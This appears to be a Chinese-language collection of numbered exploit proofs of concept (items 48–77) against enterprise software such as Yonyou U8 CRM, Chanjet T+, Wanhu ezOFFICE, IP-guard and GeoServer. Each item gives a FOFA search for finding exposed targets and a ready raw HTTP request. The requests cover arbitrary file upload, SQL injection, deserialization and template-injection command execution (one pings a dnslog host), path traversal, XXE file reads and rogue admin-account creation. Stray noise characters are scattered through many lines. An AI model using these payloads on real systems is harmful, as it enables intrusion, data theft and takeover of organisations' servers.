' ?% N4 [9 O8 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 b( V' Y9 W" |9 ]0 hAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
; w( T( \7 r! g1 ?" v( v
1 z  `6 g4 ^$ _$ H
3 I; Z5 k: l: }0 v! U
48. 用友U8 CRM swfupload 任意文件上传
8 K! M% m& k7 U7 S( d- FFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 B1 w3 ^; r' r  N! PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ ^( R  I$ @! x! mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ x+ E' ?/ e0 f, |1 A% d- I6 W1 JAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
& C; f' m; \# i0 fupload
- C! N$ e* z* L7 U( Y# o7 T+ H9 A  T, R------269520967239406871642430066855--
! G( C: O5 }5 B, H- C3 L
( }* v# p1 r& P' A9 F* o! P/ m
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
& `( q) T( I& ?0 R3 @4 I+ PFOFA：body="用友U8CRM"
: J& o+ ]) z# j. d9 z
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
1 v5 G2 X$ y( Q" w; ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
  ]3 S! e9 h. K2 o% PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' u; ^5 o1 g8 S) p$ k( V" Q5 V. C: h+ kConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

! K( D3 M2 U9 k( V; u-----------------------------vvv3wdayqv3yppdxvn3w
0 O; V$ n* {1 a$ @1 R+ M6 J; c1 LContent-Disposition: form-data; name="file"; filename="%s.php "
# e9 \: a6 z# }Content-Type: application/octet-stream

wersqqmlumloqa
% c. c' S2 f& R  H0 C-----------------------------vvv3wdayqv3yppdxvn3w
& `$ \* B! y: n; y( UContent-Disposition: form-data; name="upload"
& d+ T( f$ a2 I0 m, u) C9 \
3 P4 m$ n8 i$ Xupload
4 T3 w$ p- o1 d0 Q-----------------------------vvv3wdayqv3yppdxvn3w--
% ]7 `* I, j# N# q, i0 D

8 h0 S* ^( I: O! r* Q0 H. t4 |http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
4 H* w$ \% _# Z$ d1 y2 W& w  g. GPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
' F' |& L2 M  uConnection: close
# [2 g" i& I# Q: {* H* WContent-Length: 224
" t( t3 u, x0 w6 `  [% s) NAccept: */*
6 o' p8 M& u  c8 Z( J2 }' MAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

  q% b5 x  G0 J/ E, I2 X" S
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
! V6 ]4 W  c* F6 H, q  A, O0 l7 p: gFOFA：app="云时空社会化商业ERP系统"
& d; Q- K. _9 f9 M, F. U1 \5 vGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


8 q4 r  Q( _  h3 O" P: w, d52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 Q, R3 q3 X6 r2 P  D' pConnection: close
Content-Length: 87
, T" j9 o% e2 Z2 J  ^$ _# a& wAccept: */*
Accept-Language: en
$ l2 q* `3 W" ?& cContent-Type: application/x-www-form-urlencoded
+ P! n* V" S8 kAccept-Encoding: gzip

( }9 b  ?/ Z" _: w9 q7 e/ u8 C' htfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
, B8 D: t3 h5 a( y4 K, t( \FOFA：app="DPtech-SSLVPN"
* r, l2 ]" |" {8 j# ~4 f/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

2 i' a' o9 }! v0 ^
8 u6 R9 U* ~8 U, J/ M' a" S/ a54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
  N" ?  ~" {; l0 u" W6 \/ [第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

7 Z( N7 v7 g+ b! n$ m; G& l- I) G
完整数据包
* W7 m+ P, W8 o! |# j. NPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
6 Y1 H" r) `. F8 B, vHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
1 F8 p, U4 z, h7 P
1 [1 |+ }. {* K0 c{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
9 N. F8 C# y7 t: o  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
& P) k' |5 D3 Z$ M0 D) s# s    "StartInfo":{
* N" _2 T$ C# B7 w) M- m   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
" D, D9 \1 J+ H( {  }
0 H  B& R  W# `/ _- R2 S# s! p  }
6 q3 p/ J5 `, N, B7 G- J9 f}
8 a* y0 r! f3 w' p
7 `* R2 L9 E1 r3 Z
+ W- \1 `" [9 @+ q( H. b' y第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
4 b" S2 R: e1 {0 F. R  I0 ~# F
4 c6 r& {0 `. b! h# x; C
( V6 i6 B7 o4 S: h  J# f9 h  _, g55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
+ J" ~7 e3 n+ _+ ~( H/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
7 @" F3 h, ^/ S0 j6 _! y0 N
; Q0 ]$ p& l7 G0 ^6 U2 m, A56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
) w9 n( O, O- L6 K% gPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
+ D( |2 _$ |* w* N' QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
$ O7 i& I1 p) Q# \
{
5 |3 U" d* r( R1 P  p  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
9 [, ?: h, d! M1 p; `4 o: N4 t       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
3 j4 s7 a" y& N3 l- c1 C  [        "StartInfo": {
7 n4 U1 ]+ q+ L7 a( A1 q- C1 Y" A+ Z           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
4 N: p6 w' d# \$ s. Q7 @       }
    }
  }
( k# `- I5 [. n9 M}


57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
2 G: T  v7 Y0 {' a6 iConnection: close

/ F8 b- v7 ?6 N  ?) N
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
' D. e7 N' B; M9 RUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
! z* l* V( a* b; s( u6 U8 j' e' NAccept-Charset: utf-8
9 y" i- Z) l2 q0 {Accept-Encoding: gzip, deflate
Connection: close

  z! o# e; }/ z
/ p% ]3 o( J1 t- z59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
$ J: b1 M) r. q0 VUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
3 `) h. }- l% F' w) r0 DConnection: close
' k3 ]( m- X7 O& J! e( `' fContent-Length: 1669
Accept: */*
* @# T0 A6 W6 w! P- WAccept-Language: en
& \' y" D7 R) qContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
( `) @$ _" L/ E1 F2 c
PAYLOAD
3 A: M) U& c. @3 J! f2 }; `! P
# g) e# {  b$ f/ [' m
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
0 Y, x! N2 Y7 E2 l' xGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
. I& G1 z7 S3 r8 Q1 {8 GHost:
5 F& Z$ ~! X* g* F$ kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
; e  e- n! x, C; ^. I7 {# H5 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ U% I; o- ~* U# F7 }7 c* }0 [Accept-Encoding: gzip, deflate
! D* u6 p0 S0 |Accept-Language: zh-CN,zh;q=0.9
# G8 Z+ Z- z, D9 J  s' S: hConnection: close
" L; i+ s  d( c8 O, i
+ V! X- `+ T' b2 a6 X
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
* s- I, k& V( C3 ?+ {6 bPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
/ O$ R+ J$ K, }* i4 L- WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. F1 H( b" U& r& D0 JContent-Length: 27
Accept: */*
$ E3 ]$ S' I' V4 U# e9 YAccept-Encoding: gzip, deflate
0 n" [7 D( \  c$ t% bAccept-Language: en
Content-Type: application/x-www-form-urlencoded
6 \7 \5 _! @; N: t* B
* x/ q  A+ X+ n/ v) R# ^8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
/ W8 Z& B1 a! _& r, |+ F( f, `; V' uFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
; {) r( ^1 G5 Q: uConnection: close
Accept: */*
- O4 ~5 o5 E  k$ X, [& F  wAccept-Language: en
Accept-Encoding: gzip


访问

; A' }8 p5 x2 f' N3 Z1 FGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

0 h0 n6 s+ c$ a+ b0 e/ X
63. IP-guard WebServer任意文件读取
/ h3 H3 G4 T) y0 Y. A' n% P7 N$ P5 cIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
$ |9 G3 `- k/ gPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
+ m6 Y# C+ G5 k/ D/ tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
' B' w7 `! a- y* J1 C* O) {! QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# m4 C' T4 `$ |4 e1 \; g) d3 CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# d; x: e) E2 @  [5 mContent-Type: application/x-www-form-urlencoded
7 k7 a% H) W9 v( ~, U+ v
+ d7 s. ^6 ^4 j# G: v9 N0 _path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

$ o: w, ?# p) q/ e! h8 g64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
- N- K# o8 G& Q, X6 RUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
' l$ ]( c+ F5 p2 K! K/ B$ K, Z3 ~Connection: close
Content-Length: 369
Accept: */*
Accept-Language: en
6 B& P# N) r' y. Y& X# h/ i0 n; MContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

. b7 ~& i# w) x# G4 y<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
* `9 ?- S9 X3 }0 r<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
" ~: b2 F1 ?; o0 i8 t$ }    </GetOSpById>
0 {. f6 g7 Y! e8 r  </soap:Body>
* l4 e0 u: e& n) a+ H/ j  V</soap:Envelope>


65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
3 d( v1 d" o( v% J/ pFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
0 k0 f6 {% r0 @! j7 q; rHost:
) G' b) w2 Y; |9 uUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
6 a6 w; F$ `  x5 n4 n6 yAccept-Encoding: gzip, deflate
5 _0 Z3 c; W8 v2 RAccept: */*
Connection: close
Accept-Language: en
  I4 L; n/ q3 N& I% kContent-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
* f" i$ }: T7 ]2 e
& n% ?. \6 }7 v; S
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
; \: |1 x5 ?3 ^& A: p" I- p8 u0 w" NFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
, I9 a5 A# O$ j# A* EHost: x.x.x.x
; _1 b+ s1 M1 |: a- TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
( M& c# E2 N% I2 W# p* AConnection: close
) f+ G( Y) {7 k/ FAccept: */*
# J1 k( c+ r& G- C9 x8 `; D# S1 uAccept-Language: en
& Y) n& h( p6 F9 C: C' ~Accept-Encoding: gzip

4 f/ k# B/ C  i. b9 P: A( E
7 d/ a8 [! I' l% c5 Q6 X第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
% ~" `1 Y1 R8 Q) V& d0 u
+ X2 s, }: Z" B4 S67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
5 _) C/ |6 U$ unewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
, L) `0 h: ~9 Z' b- N8 |User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
5 U2 D% X/ B- }) w! ?' NContent-Length: 173
; N8 u$ S$ B, D$ @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
+ n$ H7 ~" K! CAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
% ~8 B8 R/ G3 p* e1 `Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
8 h( m9 {. e& ]Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

0 q8 x8 P# u# w/ e& z/ U5 R( ^. D# M
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
) m: e, n, W5 L1 n7 l8 r9 J+ V/ N
5 l3 E8 V2 U4 J$ Q" t$ Q! d- l68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
" n2 |0 W1 W  y% t% |% B, Y# mHost: {{host}}
  s# d3 H& W) [' Y: C! zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
# }, o/ y% N, [! K/ T! lAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; A5 h& x, e' h: q8 _9 q  b5 A7 v* aConnection: close


+ ]& ?/ f2 q: m* f( G69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
- e6 E1 B: ?  E) v. ]# ]Host: your-ip
' K' B: c5 Z1 X' [- _6 H' {  wUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
7 w) `/ ~1 j) a$ l$ o& eAccept: */*
: ?+ L) g( M/ c6 N4 W1 AConnection: keep-alive
" E0 o( C2 V4 m; _) I0 R
7 Z2 `2 i: x  I2 p% r, i' k0 m  W
' s3 \* t$ x2 e+ {70. 万户ezEIP success 命令执行
0 F/ Y9 w  S  C, \FOFA：app="万户网络-ezEIP"
; Z2 ~0 E3 t* d- w! PPOST /member/success.aspx HTTP/1.1
' s, Q: }& @. \, h7 uHost: {{Hostname}}
, ^) @% s9 ~6 d9 U3 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4 n% J; D- h; b& ]SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
7 z3 T0 f1 L9 O! |# ^, s+ k* pContent-Type: application/x-www-form-urlencoded
3 r) E6 ~% u0 \TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD
  M7 h4 B. Z* k7 e  Q1 _0 D% S
$ J7 A* F, z; m
7 w7 U& R* n$ `0 `0 N6 A* E71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
4 \2 Y# @3 `! g# r+ F" r  tFOFA：body="PM2项目管理系统BS版增强工具.zip"
5 Z+ g. ?+ a& V% u$ C6 zGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
: G# S- u+ h6 @" l3 pHost: x.x.x.xx.x.x.x
" K0 N( r( ~$ a. |# X  N8 e: cUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
, P1 ?0 x- w0 h* D' _Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 a, B  V) j2 S( Q, IUpgrade-Insecure-Requests: 1

$ _6 m. ^, |& X" i3 g
7 M* x, H" f+ p  G# y2 M! g72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
' L/ w4 A( v% lContent-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

+ \3 L7 ]/ v* dS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
/ }9 @2 x) Y* O  L# |. g4 L' r# {
) _2 G$ G) _& ~$ k. h. i" x  c: x1 r
( `: j$ x$ W/ h- h) J& v. _5 ?73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
6 F  h& y3 h0 ^POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
7 q) I% J: [0 x! h" i( i' ~Content-Length: 1981
2 i; n8 Q7 W1 H& r: T# ^% M4 D' o/ GAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
; Y9 t& [% H, j! tSL-CE-SUID: 3
4 k4 y/ q; m/ l& A0 ^
PAYLOAD
7 L4 u  U# s8 H. a8 Z

74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
( K' e, b3 b# G7 W) DPAYLOAD

  U4 ?1 r  P# f" f& `8 e75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
2 {+ B- P9 T, g( E6 D  b0 L1 E, DGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
- W" }. o# C4 N' a- n* {6 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
: d& L% V8 r$ G! z  K- P2 n# `5 q& tAccept-Language: en
Accept-Encoding: gzip

$ Z7 D9 f& i$ L( o# ~" B8 e
! x! T: V' q. ^. C3 h7 p' v/ sGET /cgi-bin/test28256.txt HTTP/1.1
" B0 A& s3 t5 U: l  T+ vHost: x.x.x.x
: x, y0 B/ }  Z# x6 G% q

. E, _  O/ r% i* K4 i76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
1 p( H; L7 k, U3 A) I1 V' FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
# H4 n- `7 Q, u# ~Connection: close
& v2 ?' g$ _, k6 {& F7 bContent-Length: 211
) T; Y! n, l5 M  @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 x* M- n5 d2 A$ BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; ~* c2 B. }7 UCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
. n( ^0 ^. e' m6 l. {3 QUpgrade-Insecure-Requests: 1

0 p/ h! Q. N8 u{
; X( d# T" U* A"command": "GetFZinfo",
$ W6 |' G+ }" v7 D  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
& [7 H7 {- W: ]" X+ r  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
- _+ I1 d* H' G& [. n

GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x


) t0 f0 z2 o+ C, I4 ^* g4 R8 R, u4 `
* I( L) ]' ~# P8 T% d- S77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
